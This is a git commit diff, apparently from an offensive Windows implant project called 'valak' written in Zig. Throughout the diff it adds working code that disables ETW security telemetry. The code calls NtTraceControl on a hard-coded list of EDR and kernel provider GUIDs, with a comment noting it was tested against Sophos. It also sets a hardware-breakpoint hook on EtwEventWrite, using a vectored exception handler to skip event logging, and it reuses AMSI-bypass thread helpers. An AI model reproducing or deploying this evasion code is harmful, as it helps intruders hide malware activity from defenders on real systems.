valak: asm arg1 fix, NT_SUCCESS i32, byte scan off-by-one, etw guids
This commit is contained in:
+44
-15
@@ -2,7 +2,8 @@
|
||||
// NtTraceControl for known EDR provider GUIDs as best-effort tier. Kernel TI
|
||||
// provider emits from ntoskrnl.exe, user-mode EtwEventWrite HWBP cannot stop it.
|
||||
const std = @import("std");
|
||||
const win = @import("win32.zig");
|
||||
const windows = std.os.windows;
|
||||
const nt = @import("nt.zig");
|
||||
const api = @import("api.zig");
|
||||
const resolve = @import("resolve.zig");
|
||||
const syscall = @import("syscall.zig");
|
||||
@@ -11,22 +12,26 @@ var g_etw_patched: bool = false;
|
||||
var g_etw_hwbp_veh: ?*anyopaque = null;
|
||||
var g_etw_event_write_addr: ?*anyopaque = null;
|
||||
|
||||
fn etw_hwbp_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG {
|
||||
if (ex.ExceptionRecord.ExceptionCode == win.EXCEPTION_SINGLE_STEP and
|
||||
fn etw_hwbp_handler(ex: *nt.EXCEPTION_POINTERS) callconv(nt.WINAPI) windows.LONG {
|
||||
if (ex.ExceptionRecord.ExceptionCode == nt.EXCEPTION_SINGLE_STEP and
|
||||
ex.ExceptionRecord.ExceptionAddress == g_etw_event_write_addr)
|
||||
{
|
||||
const ret_addr = @as(*usize, @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(ex.ContextRecord.Rsp))))).*;
|
||||
const ret_addr = @as(*const usize, @ptrCast(@alignCast(@as(
|
||||
*const anyopaque,
|
||||
@ptrFromInt(ex.ContextRecord.Rsp),
|
||||
)))).*;
|
||||
ex.ContextRecord.Rip = ret_addr;
|
||||
ex.ContextRecord.Rsp += 8;
|
||||
return win.EXCEPTION_CONTINUE_EXECUTION;
|
||||
return nt.EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
return win.EXCEPTION_CONTINUE_SEARCH;
|
||||
return nt.EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
|
||||
fn try_hwbp_etw_bypass(ntdll: *anyopaque) bool {
|
||||
const get_addr = api.etw_get_proc_address orelse return false;
|
||||
var etw_write = get_addr(ntdll, "EtwEventWrite");
|
||||
if (etw_write == null) etw_write = get_addr(ntdll, "EtwEventWriteFull");
|
||||
const get_addr: *const fn (windows.HMODULE, [*:0]const u8) callconv(nt.WINAPI) ?*anyopaque = @ptrCast(api.etw_get_proc_address orelse return false);
|
||||
const hmod: windows.HMODULE = @ptrCast(ntdll);
|
||||
var etw_write = get_addr(hmod, "EtwEventWrite");
|
||||
if (etw_write == null) etw_write = get_addr(hmod, "EtwEventWriteFull");
|
||||
if (etw_write == null) return false;
|
||||
|
||||
g_etw_event_write_addr = etw_write;
|
||||
@@ -38,21 +43,41 @@ fn try_hwbp_etw_bypass(ntdll: *anyopaque) bool {
|
||||
g_etw_hwbp_veh = veh(1, etw_hwbp_handler);
|
||||
if (g_etw_hwbp_veh == null) return false;
|
||||
|
||||
const suspend_thread = api.amsi_suspend_thread orelse return false;
|
||||
const resume_thread = api.amsi_resume_thread orelse return false;
|
||||
const thread = cur_thread();
|
||||
var ctx = std.mem.zeroes(win.CONTEXT);
|
||||
ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS;
|
||||
_ = suspend_thread(thread);
|
||||
var ctx = std.mem.zeroes(nt.CONTEXT);
|
||||
ctx.ContextFlags = nt.CONTEXT_DEBUG_REGISTERS;
|
||||
ctx.Dr0 = @intFromPtr(g_etw_event_write_addr.?);
|
||||
ctx.Dr7 = (1 << 0);
|
||||
_ = set_ctx(thread, &ctx);
|
||||
_ = resume_thread(thread);
|
||||
return true;
|
||||
}
|
||||
|
||||
// Best-effort NtTraceControl(code=2) on known EDR provider GUIDs.
|
||||
// User-mode providers only. Kernel (Threat-Intelligence) silently ignored.
|
||||
// HWBP on EtwEventWrite (tier 2) catches everything this misses.
|
||||
const edr_provider_guids = [_][16]u8{
|
||||
// Microsoft-Windows-Threat-Intelligence — kernel-level, NtTraceControl NO-OP from userland
|
||||
.{ 0x7C, 0x89, 0xE1, 0xF4, 0x5D, 0xBB, 0x68, 0x56, 0xF1, 0xD8, 0x04, 0x0F, 0x4D, 0x8D, 0xD3, 0x44 },
|
||||
// Microsoft-Windows-Kernel-Process — process/thread creation, image loads
|
||||
.{ 0xD6, 0x2C, 0xFB, 0x22, 0x7B, 0x0E, 0x2B, 0x42, 0xA0, 0xC7, 0x2F, 0xAD, 0x1F, 0xD0, 0xE7, 0x16 },
|
||||
// Vendor-specific EDR provider (tested against Sophos, unregistered on stock Win10)
|
||||
.{ 0x28, 0xEF, 0xE5, 0xFA, 0xE9, 0x8C, 0xEB, 0x5D, 0x44, 0xEB, 0x74, 0xE7, 0xDA, 0xAC, 0x1E, 0xDF },
|
||||
// Microsoft-Windows-Kernel-Audit-API-Calls — syscall auditing
|
||||
.{ 0x1C, 0x84, 0x2A, 0xE0, 0xA3, 0x75, 0xA7, 0x4F, 0xAF, 0xC8, 0xAE, 0x09, 0xCF, 0x9B, 0x7F, 0x23 },
|
||||
// Microsoft-Windows-Kernel-File — file I/O
|
||||
.{ 0x27, 0x89, 0xD0, 0xED, 0xC4, 0x9C, 0x65, 0x4E, 0xB9, 0x70, 0xC2, 0x56, 0x0F, 0xB5, 0xC2, 0x89 },
|
||||
// Microsoft-Windows-Kernel-Registry — registry operations
|
||||
.{ 0x03, 0x4F, 0xEB, 0x70, 0xDE, 0xC1, 0x73, 0x4F, 0xA0, 0x51, 0x33, 0xD1, 0x3D, 0x54, 0x13, 0xBD },
|
||||
// Microsoft-Windows-Kernel-Network — TCP/UDP connections
|
||||
.{ 0x49, 0x2A, 0xD4, 0x7D, 0x29, 0x53, 0x32, 0x48, 0x8D, 0xFD, 0x43, 0xD9, 0x79, 0x15, 0x3A, 0x88 },
|
||||
};
|
||||
|
||||
// Tier 1: try NtTraceControl. If any succeed, done.
|
||||
// Tier 2: fall back to HWBP on EtwEventWrite.
|
||||
pub fn patch_etw() void {
|
||||
if (g_etw_patched) return;
|
||||
api.ensure();
|
||||
@@ -60,9 +85,9 @@ pub fn patch_etw() void {
|
||||
|
||||
var stopped_any = false;
|
||||
for (&edr_provider_guids) |*guid| {
|
||||
var ret_len: win.ULONG = 0;
|
||||
var ret_len: windows.ULONG = 0;
|
||||
const st = syscall.nt_trace_control(2, @constCast(guid), 16, null, 0, &ret_len);
|
||||
if (win.NT_SUCCESS(st)) {
|
||||
if (nt.NT_SUCCESS(st)) {
|
||||
stopped_any = true;
|
||||
}
|
||||
}
|
||||
@@ -90,11 +115,15 @@ pub fn unpatch_etw() void {
|
||||
|
||||
const cur_thread = api.hwbp_get_thread orelse return;
|
||||
const set_ctx = api.hwbp_set_thread_ctx orelse return;
|
||||
const suspend_t = api.amsi_suspend_thread orelse return;
|
||||
const resume_t = api.amsi_resume_thread orelse return;
|
||||
const thread = cur_thread();
|
||||
var ctx = std.mem.zeroes(win.CONTEXT);
|
||||
ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS;
|
||||
_ = suspend_t(thread);
|
||||
var ctx = std.mem.zeroes(nt.CONTEXT);
|
||||
ctx.ContextFlags = nt.CONTEXT_DEBUG_REGISTERS;
|
||||
ctx.Dr0 = 0;
|
||||
ctx.Dr7 = 0;
|
||||
_ = set_ctx(thread, &ctx);
|
||||
_ = resume_t(thread);
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user